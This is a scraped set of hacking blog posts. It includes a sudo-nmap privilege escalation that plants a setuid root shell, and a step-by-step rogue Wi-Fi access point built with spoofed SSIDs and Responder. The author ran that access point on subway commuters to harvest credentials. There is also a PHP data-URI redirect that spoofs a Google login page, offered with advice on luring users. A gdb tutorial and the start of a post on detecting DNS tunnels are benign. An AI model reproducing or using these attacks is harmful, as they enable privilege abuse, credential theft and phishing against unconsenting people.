Here is how to gain root privileges: Create a binary giving you a shell, use the nse script which will give suid rights to it. You're done.<br />
<br /></div>
<div>
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;">mitsurugi@dojo:~$ cat binsuid.c
#define _GNU_SOURCE
#include <stdio .h="">
#include <unistd .h="">
#include <stdlib .h="">
void main() {
setresuid(geteuid(),geteuid(),geteuid());
system("/bin/bash");
}
mitsurugi@dojo:~$ gcc -o binsuid binsuid.c
mitsurugi@dojo:~$ ls -l binsuid
-rwxr-xr-x 1 mitsurugi mitsurugi 8744 avril 14 10:56 binsuid
mitsurugi@dojo:~$ sudo nmap -p 1337 --script got_root.nse 127.0.0.1
Starting Nmap 7.40 ( https://nmap.org ) at 2017-04-14 10:55 CEST
got_root
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000026s latency).
PORT STATE SERVICE
1337/tcp closed waste
Host script results:
|_got_root: suid nmap priv escalation
Nmap done: 1 IP address (1 host up) scanned in 0.47 seconds
mitsurugi@dojo:~$ ls -l binsuid
-rwsr-sr-x 1 root root 8744 avril 14 10:55 binsuid
mitsurugi@dojo:~$ ./binsuid
bash-4.4# id
uid=0(root) gid=1001(mitsurugi) groupes=1001(mitsurugi),27(sudo),29(audio),44(video),46(plugdev),108(netdev),113(bluetooth),114(lpadmin),118(scanner),122(kismet)
bash-4.4#</stdlib></unistd></stdio></code></pre>
<br />
Ok, root rights acquired, job done.</div>
<div>
<h3>
5/ Outro</h3>
</div>
<div>
Lot of fun</div>
<div>
Enjoy responsibly \o/ (and pwn everything!)</div>
<div>
<br />
<div style="text-align: right;">
<i>Ever tried. Ever failed. No matter. Try Again. Fail again. Fail better.</i></div>
<div style="text-align: right;">
<i>~Samuel Beckett</i></div>
</div>
<div style="text-align: right;">
<i><br /></i></div>
<div style="text-align: right;">
<i>0xMitsurugi</i></div>
Mitsurugihttp://www.blogger.com/profile/16733777190739911775noreply@blogger.com1tag:blogger.com,1999:blog-8227611414371590425.post-28198251748150652912017-02-22T14:09:00.002+01:002017-02-22T14:09:33.256+01:00Stepping backward in gdb<h3>
0/ Intro</h3>
Yesterday, I discover an awesome feature of gdb: the concept of recording, and stepping backward in a binary.<br />
<br />
You read it good! With gdb, you can run a binary step some instructions and then reverse your steps. You can even change values in memory or register, and continue execution.<br />
It's a feature I've searched for solving crackmes. Usually, in crackme you try some passwords, step through functions and subfunctions, then branches are taken depending on the password, and sometimes, you just want to step backward in order to try another branch.<br />
I've never imagined that it's possible with a vanilla gdb.<br />
<br />
Reference doc:<br />
<a href="https://sourceware.org/gdb/onlinedocs/gdb/Process-Record-and-Replay.html">https://sourceware.org/gdb/onlinedocs/gdb/Process-Record-and-Replay.html</a><br />
<br />
<h3>
1/ A heavy weight crackme!</h3>
Here is an example of a crackme:<br />
<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> mitsurugi@dojo:~/chall/reverseGDB$ cat heavyweightcrackme.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int heavycalc(char *s) {
int a=0;
printf("\tBig computation in subfunction\n");
a=strlen(s);
return a;
}
int main(int argc, char *argv[]) {
printf("Another Crackme\n");
if (heavycalc(argv[1]) == 6){
printf("Good Boy\n");
}
else {
printf("Bad boy\n");
}
return(0);
}
mitsurugi@dojo:~/chall/reverseGDB$
</code></pre>
<br />
Nothing really hard, that's just for the demonstration.<br />
The reverser have to input a 6 character long password in order to get the "Good boy" message. Any other length will tell "Bad Boy". The calculation is made in a subfunction.<br />
<br />
<h3>
2/ Reverse stepping GDB in action!</h3>
Just use your favorite gdb (higher than v7).<br />
<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> mitsurugi@dojo:~/chall/reverseGDB$ gdb -q -nx heavyweightcrackme
Reading symbols from heavyweightcrackme...(no debugging symbols found)...done.
(gdb) b * main
Breakpoint 1 at 0x723
(gdb) r aaaa
Starting program: /home/mitsurugi/chall/reverseGDB/heavyweightcrackme aaaa
Breakpoint 1, 0x0000555555554723 in main ()
(gdb) record </code></pre>
<br />
Here, we start the recording. Everything will be recorded, memory, breakpoints, registers, flags and so on. Gdb will be able to step backward and forward since that point.<br />
<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> (gdb) c
Continuing.
Another Crackme
Big computation in subfunction
Bad boy
The next instruction is syscall exit_group. It will make the program exit. Do you want to stop the program?([y] or n) yes
Process record: inferior program stopped.
Program stopped.
0x00007ffff7af34c6 in __GI__exit (status=status@entry=0) at ../sysdeps/unix/sysv/linux/_exit.c:31
31 ../sysdeps/unix/sysv/linux/_exit.c: Aucun fichier ou dossier de ce type.
(gdb)
</code></pre>
<br />
Ok, we fail at solving this challenge, and we see the "Bad boy" message. (Protip: when gdb ask you to stop the program, answer yes, you will stay in the recorded session). <br />
The magic begins here, with a reverse-continue. It will fast forward until a breakpoint. We have only one, at main.<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> (gdb) reverse-continue
Continuing.
No more reverse-execution history.
0x0000555555554723 in main ()
(gdb) disass main
Dump of assembler code for function main:
=> 0x0000555555554723 <+0>: push %rbp
0x0000555555554724 <+1>: mov %rsp,%rbp
0x0000555555554727 <+4>: sub $0x10,%rsp
0x000055555555472b <+8>: mov %edi,-0x4(%rbp)
0x000055555555472e <+11>: mov %rsi,-0x10(%rbp)
0x0000555555554732 <+15>: lea 0xef(%rip),%rdi # 0x555555554828
0x0000555555554739 <+22>: callq 0x555555554590 <puts@plt>
0x000055555555473e <+27>: mov -0x10(%rbp),%rax
0x0000555555554742 <+31>: add $0x8,%rax
0x0000555555554746 <+35>: mov (%rax),%rax
0x0000555555554749 <+38>: mov %rax,%rdi
0x000055555555474c <+41>: callq 0x5555555546f0 <heavycalc> //Seems interesting
0x0000555555554751 <+46>: cmp $0x6,%eax
0x0000555555554754 <+49>: jne 0x555555554764 <main+65>
0x0000555555554756 <+51>: lea 0xdb(%rip),%rdi # 0x555555554838
0x000055555555475d <+58>: callq 0x555555554590 <puts@plt>
0x0000555555554762 <+63>: jmp 0x555555554770 <main+77>
0x0000555555554764 <+65>: lea 0xd6(%rip),%rdi # 0x555555554841
0x000055555555476b <+72>: callq 0x555555554590 <puts@plt>
0x0000555555554770 <+77>: mov $0x0,%eax
0x0000555555554775 <+82>: leaveq
0x0000555555554776 <+83>: retq
End of assembler dump.
(gdb)
</code></pre>
<br />
From now on, we can single step through the binary, examinate memory, add breakpoints (yeah, dynamically!). The heavycalc function seemes interesting because it's return value is checked.<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> (gdb) b * 0x000055555555474c
Breakpoint 2 at 0x55555555474c
(gdb) c
Continuing.
Breakpoint 2, 0x000055555555474c in main ()
(gdb) nexti
0x0000555555554751 in main ()
(gdb) info reg rax
rax 0x4 4
(gdb)
</code></pre>
<br />
And we can change the execution flow. We see that the rax is compared to six. What happens if we set a 6?Obviously, from now on, the subsequent execution log is deleted and a new execution log starting from the current address will be recorded. This means we will abandon the previously recorded "future" and begin recording a new "future".<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> (gdb) set $rax=6
Because GDB is in replay mode, changing the value of a register will make the
execution log unusable from this point onward. Change register rax?(y or n) y
(gdb) c
Continuing.
Good Boy
The next instruction is syscall exit_group. It will make the program exit.
Do you want to stop the program?([y] or n) yes
Process record: inferior program stopped.
Program stopped.
0x00007ffff7af34c6 in __GI__exit (status=status@entry=0) at ../sysdeps/unix/sysv/linux/_exit.c:31
31 in ../sysdeps/unix/sysv/linux/_exit.c
(gdb)
</code></pre>
<br />
Yeah! We have a "Good boy" message. So, it means that heavycalc have to return 6 in order to win. But what do we have in "heavycalc"? Easy, just step backward, and dive into this function:<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> (gdb) reverse-continue
Continuing.
Breakpoint 2, 0x000055555555474c in main ()
(gdb) x/10i $rip
=> 0x55555555474c <main+41>: callq 0x5555555546f0 <heavycalc>
0x555555554751 <main+46>: cmp $0x6,%eax
0x555555554754 <main+49>: jne 0x555555554764 <main+65>
0x555555554756 <main+51>: lea 0xdb(%rip),%rdi # 0x555555554838
0x55555555475d <main+58>: callq 0x555555554590 <puts@plt>
0x555555554762 <main+63>: jmp 0x555555554770 <main+77>
0x555555554764 <main+65>: lea 0xd6(%rip),%rdi # 0x555555554841
0x55555555476b <main+72>: callq 0x555555554590 <puts@plt>
0x555555554770 <main+77>: mov $0x0,%eax
0x555555554775 <main+82>: leaveq
(gdb) stepi
0x00005555555546f0 in heavycalc ()
(gdb) disass heavycalc
Dump of assembler code for function heavycalc:
=> 0x00005555555546f0 <+0>: push %rbp
0x00005555555546f1 <+1>: mov %rsp,%rbp
0x00005555555546f4 <+4>: sub $0x20,%rsp
0x00005555555546f8 <+8>: mov %rdi,-0x18(%rbp)
0x00005555555546fc <+12>: movl $0x0,-0x4(%rbp)
0x0000555555554703 <+19>: lea 0xfe(%rip),%rdi # 0x555555554808
0x000055555555470a <+26>: callq 0x555555554590 <puts@plt>
0x000055555555470f <+31>: mov -0x18(%rbp),%rax
0x0000555555554713 <+35>: mov %rax,%rdi
0x0000555555554716 <+38>: callq 0x5555555545a0 <strlen@plt>
0x000055555555471b <+43>: mov %eax,-0x4(%rbp)
0x000055555555471e <+46>: mov -0x4(%rbp),%eax
0x0000555555554721 <+49>: leaveq
0x0000555555554722 <+50>: retq
End of assembler dump.
(gdb)
</code></pre>
<br />
And we can inspect memory again, etc, etc..<br />
<br />
<h3>
3/ Outro</h3>
This feature is AWESOME \o/ <br />
The concept of stepping backward, forward, inspecting memory and so on is full of fun. My next cracking session will be recorded, replayed and enhanced.<br />
The gdb documentation gives a lot of options, actions and possibilities, this blogpost is just here to show a minimal reverseGDB sessions.<br />
<br />
And the irony of reversing gdb while reversing binaries strikes on me :)<br />
<br />
<div style="text-align: right;">
0xMitsurugi</div>
<div style="text-align: right;">
<i>Winners trains. Loosers complains.</i></div>
Mitsurugihttp://www.blogger.com/profile/16733777190739911775noreply@blogger.com0tag:blogger.com,1999:blog-8227611414371590425.post-44001622697900927072017-02-16T16:42:00.000+01:002017-02-16T17:27:32.095+01:00All your credz are belong to me. When raspi meets wifi sniffing.<h3>
1/ A wild Raspberry appears!</h3>
Two weeks ago, I won in a <a href="https://www.forum-fic.com/site/FR/Prix__Challenges/Challenges,C59984,I59996.htm?KM_Session=604676249322881c1f22158b76cf1787" target="_blank">CTF</a> a raspberry Pi3. After toying a little with the ARM CPU, I decided to make something offensive with this raspi. As you may know, the raspberry 3 comes with an integrated Wifi card, and it's powered with an USB cable:<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi10XjJj21kuexZztqD6ItAwHPrqiS7j8g2BRjJl6R9FpxqNMuya4ECvkoqEZ941ebXOS-cnQ-9Qw94Nlw1RkxQF61v7ZOt2_E_A8kIS6bc3lqqbY_VHTs4M3NgtEoFDXG3aVEEJ6tUwWg/s1600/pi3.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="237" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi10XjJj21kuexZztqD6ItAwHPrqiS7j8g2BRjJl6R9FpxqNMuya4ECvkoqEZ941ebXOS-cnQ-9Qw94Nlw1RkxQF61v7ZOt2_E_A8kIS6bc3lqqbY_VHTs4M3NgtEoFDXG3aVEEJ6tUwWg/s320/pi3.png" width="320" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">We don't clearly see the wifi card, but it's here :-)</td></tr>
</tbody></table>
<br />
On the other hand, I have a neat little rescue battery for my phone:<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8jkicXjlV2fXMAhDQ9puXjiU6Q9RGPwHKxXftqVf12KQPtokjLS_qI7o374NfJcXMWUnewHsoaaDQJVifckyVfdj7hyphenhyphenHmXTbS0b_JzGGdZxH82kQ8nIhQwUKrzoJYH_kLPBth2zQXfkI/s1600/chargeur.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="202" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8jkicXjlV2fXMAhDQ9puXjiU6Q9RGPwHKxXftqVf12KQPtokjLS_qI7o374NfJcXMWUnewHsoaaDQJVifckyVfdj7hyphenhyphenHmXTbS0b_JzGGdZxH82kQ8nIhQwUKrzoJYH_kLPBth2zQXfkI/s320/chargeur.png" width="320" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">A battery full of energy</td></tr>
</tbody></table>
<br />
This battery delivers 800mA, and its enough to power the raspberry for more than two hours (maybe more, but I never tried for more than two hours and it's largely enough for me). With this setup, I have a portable raspberry and I can walk anywhere.<br />
<br />
The idea is to configure the raspberry as an access point, and wait for innocents smartphones to connect with it. Listen the network, then grab as much data as possible. Free credz for me \o/ This kind of tests have been made in the past, but I just want to test it by myself.<br />
It ended to be incredibly easy to setup and successfull.<br />
<br />
<h3>
2/ Setup everything</h3>
We need three parts: create an access point, set up some honeypots to gather credz, and sniff data. Once OK, launch everything at boot.<br />
<br />
<h4>
2/1/ Access Point</h4>
Before creating the access point, we have to configure the wifi card, and setup a DHCP server.<br />
Add those lines in /etc/network/interfaces:<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> allow-hotplug wlan0
iface wlan0 inet static
address 172.24.1.1
netmask 255.255.255.0
network 172.24.1.0
broadcast 172.24.1.255
</code></pre>
<br />
Next, install dnsmasq, and create a specific conf file, only for answering DHCP requests:<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> root@raspberrypi:~# mv /etc/dnsmasq.conf /etc/dnsmasq.conf.ori
root@raspberrypi:~# cat /etc/dnsmasq.d/dnsmasq.conf
# Listen on this specific port instead of the standard DNS port
# (53). Setting this to zero completely disables DNS function,
# leaving only DHCP and/or TFTP.
port=0
interface=wlan0 # Use interface wlan0
listen-address=172.24.1.1 # Explicitly specify the address to listen on
bind-interfaces # Bind to the interface to make sure we aren't sending things elsewhere
domain-needed # Don't forward short names
bogus-priv # Never forward addresses in the non-routed address spaces.
dhcp-range=172.24.1.50,172.24.1.150,12h # Assign IP addresses between 172.24.1.50 and 172.24.1.150 with a 12 hour lease time
# DNS is managed by another process, which will send rogue response
dhcp-option=6,172.24.1.1
root@raspberrypi:~#
</code></pre>
<br />
And installing the AP is very straightforward:<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> root@raspberrypi:~# apt-get install hostapd
create a file /etc/hostap/hostapd.conf
root@raspberrypi:~# cat /etc/hostapd/hostapd.conf
interface=wlan0
driver=nl80211
#Configure the name of the SSID to fulfill your needs
ssid=My Test SSID
hw_mode=g
channel=6
ieee80211n=1
wmm_enabled=1
ht_capab=[HT40][SHORT-GI-20][DSSS_CCK-40]
macaddr_acl=0
#Warning, this is the configuration for a full Open AP. Anybody can use it.
#Don't use it without knowing what you do
auth_algs=1
root@raspberrypi:~#
</code></pre>
<br />
Launch it with<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> root@raspberrypi:~# hostapd -d /etc/hostapd/hostapd.conf
</code></pre>
<br />
You shoud see the SSID "My Test SSID" in any Wifi Device, and connection should work. You won't get internet access, but we don't need it.<br />
<br />
<h4>
2/2/ Honeypoting</h4>
I decided to reuse <a href="https://github.com/SpiderLabs/Responder" target="_blank">Responder</a>, which is a LLMNR, NBT-NS and MDNS poisoner, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication. It's designed for windows (netbios, and so on) in mind but it works with any smartphone/tablet because of all authentications server.<br />
<br />
Once again, really easy:<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> root@raspberrypi:~# git clone https://github.com/SpiderLabs/Responder.git
</code></pre>
no configuration file is needed, anything works out of the box. Nice.<br />
<br />
<h4>
2/3/ Sniffing</h4>
We will sniff with tcpdump.<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> root@raspberrypi:~# apt-get install tcpdump
</code></pre>
<br />
<h4>
2/4/ Launch everything at boot</h4>
As I will used this raspberry in my pocket, it must be able to launch everything at boot without ant interaction, then regain access while plugged in a computer with SSH access. For that, I'm using screen and a systemd unit file:<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> root@raspberrypi:~# cat /etc/systemd/system/screen_AP.service
[Unit]
Description=screen for AP
</code></pre>
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> [Service]
Type=oneshot
RemainAfterExit=yes
ExecStart=/usr/bin/screen -c /root/screen_AP
StandardInput=tty
TTYPath=/dev/tty2
TTYReset=yes
TTYVHangup=yes
</code></pre>
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> [Install]
WantedBy=multi-user.target
root@raspberrypi:~#
</code></pre>
<br />
And the screen_AP file launch three tabs, then detach:<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> root@raspberrypi:~# cat screen_AP
startup_message off
defscrollback 100000
screen -d -m -t AP hostapd -d /etc/hostapd/hostapd.conf
chdir /root/Responder
screen -d -m -t Responder ./Responder.py -I wlan0 -bwrf
screen -d -m -t tcpdump tcpdump -s0 -n -i wlan0 -w /root/AP.pcap
detach
root@raspberrypi:~#
</code></pre>
That's it, you're done!<br />
<br />
The Pi will boot, setup the wlan0 card, launching it as an AP (dnsmasq start with its own unit file), launch Responder and sniff everything.<br />
<br />
<h3>
3/ Playground</h3>
My tests have shown that association is not so easy to achieve<br />
<ul>
<li>A smartphone won't connect to any open wifi magically</li>
<li>A smartphone take some long seconds to associate: You can't just walk in the street waiting for phone to connect.</li>
</ul>
Those two problems can be solved. First, I reuse some well-known SSID names such as "Starbucks", "Apple DEMO", "orange" or "FreeWifi" (I'm in france and those two last names are french ISP providing open wifi) and so on.<br />
<br />
Second, for the delay made by the connecting time, I choose the subway. People are standing still for some minutes, and eventually they can be tempted to connect to an open Wifi network. Moreover, subway here doesn't have any cell networks, so phone would be more tempted to join wifi networks I guess.<br />
<br />
Let's try<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtgY5V3Fdc1wod_bHW4wffW9vJCLJ2W5yM7fOLQs1VAeGkcq8uo77NNNzTrv0NrD67Snx3Xjwh9LoAzo74CaxdprBD_padAPM-Wn0uGRLN2qM0X3R9CX2SLYXNg1l1J0sZ5ed2mCTn760/s1600/subway.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="222" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtgY5V3Fdc1wod_bHW4wffW9vJCLJ2W5yM7fOLQs1VAeGkcq8uo77NNNzTrv0NrD67Snx3Xjwh9LoAzo74CaxdprBD_padAPM-Wn0uGRLN2qM0X3R9CX2SLYXNg1l1J0sZ5ed2mCTn760/s320/subway.png" width="320" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">The subway will make a stop to Sniffing Station!</td></tr>
</tbody></table>
<br /><h3>
4/ Results</h3>
It works. Not really well, but it works, I had connections. For example, with the SSID "Apple Demo" (the ssid available in any apple store) I have associations and connections to captive.apple.com and so on..<br />
<br />
For the credz, nothing will be published here, and I can't deny nor confirm anything about them ^_^<br />
<br />
<br />
The main problem I'm facing is the SSID name. Very unfortunately, the wifi card in the Pi3 can only manage one SSID:<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> root@raspberrypi:~# iw list
Wiphy phy0
(...)
valid interface combinations:
* #{ managed } <= 1, #{ P2P-device } <= 1, #{ P2P-client, P2P-GO } <= 1,
total <= 3, #channels <= 2
* #{ managed } <= 1, <b><u>#{ AP } <= 1</u>,</b> #{ P2P-client } <= 1, #{ P2P-device } <= 1,
total <= 4, #channels <= 1
Device supports scan flush.
root@raspberrypi:~#
</code></pre>
total AP <= 1 , such a bad luck :-(<br />
<br />
I can make rolling SSID names, but having 8 SSID at the same time would have been so nice :)<br />
<br />
Next step could be:<br />
<ul>
<li>Enhance the AP part with:</li>
<ul>
<li>buying an external USB wifi card :-/</li>
<li>roll SSIDs names every 3-4 minutes, but that's unsatisfying</li>
</ul>
<li>Enhance the Responder part with more honeypots and better HTTP response</li>
<ul>
<li>Usually, apps and OS do a GET to a known domainname and wait for a specific string</li>
</ul>
</ul>
<br />
Good side effects is that I can use the SSID to connect to the raspberry with my phone, thanks to ConnectBot and see logs in real time :-)<br />
<br />
<h3>
5/ Conclusion</h3>
That was fun to setup and to see the logs.<br />
Note to myself: be sure than Wifi on my smartphone is turned off :-)<br />
<br />
<div style="text-align: right;">
0xMitsurugi</div>
<div style="text-align: right;">
<i>"Cry in the dojo. Laugh on the battlefield."</i></div>
<div style="text-align: right;">
<i>~ Author unknown</i></div>
<div style="text-align: right;">
<br /></div>
Mitsurugihttp://www.blogger.com/profile/16733777190739911775noreply@blogger.com0tag:blogger.com,1999:blog-8227611414371590425.post-54852684813377845532016-12-12T15:04:00.003+01:002016-12-12T15:08:03.861+01:00Yet another phishing in Firefox with data URI and 302 redirect<h3>
1/ Introduction</h3>
<br />
Little known fact: you can redirect HTTP to a data URI.<br />
<br />
<h3>
2/ Let's have fun with redirect</h3>
Create a php file:<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> <?php
header("Location: data:text,Hello World");
?>
</code></pre>
and serve it for Firefox. In all its glory, Firefox will
print "Hello World!"<br />
<br />
<h3>
3/ Enhance with phishing</h3>
And yes, you can use HTML instead of pure text. And with HTML, you can do what you want. And the beginning of the data: URI will be printed in the adress bar. Looks good for having fun.<br />
<ul>
<li>First, add HTML capabilities:<br />
<span style="font-family: "courier new" , "courier" , monospace;">data:text/html </span></li>
<li>Second, trick user in address bar, because address bar will print the content of <i>data:</i> scheme:<br />
<span style="font-family: "courier new" , "courier" , monospace;">https://accounts.google.com/ServiceLogin?service=mail&passive=true&rm=false&continue=https://mail.google.com/mail/&ss=1&scc=1&ltmpl=default&ltmplcache=2&emr=1&osid=1 </span></li>
<li>Third, add some HTML (and clean up)<br />
<span style="font-family: "courier new" , "courier" , monospace;"><HTML><html><script>document.body.innerHTML = '';</script><br>No, this is not from google accounts!!<br><br></html></span></li>
<li>Fourth, be nice by adding a pretty thing in Tab bar of Firefox:
Google
</li>
</ul>
<br />
<h3>
4/ Ready to go:</h3>
Create a php file like this:<br />
<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> <?php
$data_uri = "data:text/html,";
$decoy = "https://accounts.google.com/ServiceLogin?service=mail&passive=true&rm=false&continue=https://mail.google.com/mail/&ss=1&scc=1&ltmpl=default&ltmplcache=2&emr=1&osid=1";
$evil_html = "<html><script>document.body.innerHTML = '';</script><br>No, this is not from google accounts!!<br><br></html>";
$pretty_tab_print = "Google";
$redirect_url = $data_uri . $decoy . $evil_html . $pretty_tab_print;
header("Location: " . $redirect_url);
?>
</code></pre>
<br />
And trick a user to go to this page (you know, phishing stuff, with bit.ly or any url shortener):<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUmRc0IdPpX9PEwOCo-ipgIfvVcMs4RKpbshYAXDSUYWM7DFeINtcqu1eeSZ5ld-0EUIlbSXA1UcxSgP1TCow5E5T8DvQlDXDhdycznVA3JiX9aiCxuMTRurjR15SxeiYGdK7YZFchSuQ/s1600/redir.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUmRc0IdPpX9PEwOCo-ipgIfvVcMs4RKpbshYAXDSUYWM7DFeINtcqu1eeSZ5ld-0EUIlbSXA1UcxSgP1TCow5E5T8DvQlDXDhdycznVA3JiX9aiCxuMTRurjR15SxeiYGdK7YZFchSuQ/s400/redir.png" width="400" /></a></div>
<br />
<br />
A click on this php file served through a webserver will drive you to:
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhF1LFUtDfhyphenhyphenYc6wlPquMnzKAzfOzK0tzXNQaljcQ3-vrwyPKJq54hzYu9eax9Mgj8QTsWXqeaUdYtpQvgEjbPZ6OZ_heLk628pLcZ_BA0e5DI9IbahSJXkdhsMPVh7EOi6rHIzc4Godgs/s1600/phish2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhF1LFUtDfhyphenhyphenYc6wlPquMnzKAzfOzK0tzXNQaljcQ3-vrwyPKJq54hzYu9eax9Mgj8QTsWXqeaUdYtpQvgEjbPZ6OZ_heLk628pLcZ_BA0e5DI9IbahSJXkdhsMPVh7EOi6rHIzc4Godgs/s640/phish2.png" width="640" /></a></div>
<br />
<h3>
4/ Is it something new?</h3>
Well, yes and no.<br />
Phishing with data URI is known for a veeery long time. A paper has been published some time ago <a href="http://klevjers.com/papers/phishing.pdf">http://klevjers.com/papers/phishing.pdf</a><br />
this is the same idea, I've added the vector with the 302 Redirect.<br />
<br />
It's not a big deal, if you're tricked by this, you can be tricked by anything else.Mitsurugihttp://www.blogger.com/profile/16733777190739911775noreply@blogger.com0tag:blogger.com,1999:blog-8227611414371590425.post-80506791933543668752016-12-05T16:56:00.003+01:002016-12-05T16:56:30.135+01:00Finding DNS tunnels by analyzing network capturesDNS tunnels is a method used to exchange data on top of DNS traffic. It's generally used to bypass some filtering equipement to communicate between two hosts.<br />
<br />
This article is about the detection of a DNS tunnel. Can we find DNS tunnels by analyzing a pcap offline? We will see that the first basic solution (counting subdomain for a domain) is prone to a high number of false positive when applied to real DNS data. We will then propose another approach wich could help for DNS Tunnel detection<br />
<br />
<h2>
1/ DNS tunnels: the theorical part</h2>
The theory here is super easy. If a client in a protected network can send DNS requests and receive response, then you can mount a DNS tunnel.<br />
<br />
Clients sends encoded data for a specific subdomain of attacker domain and waits for the answer. This way, data is
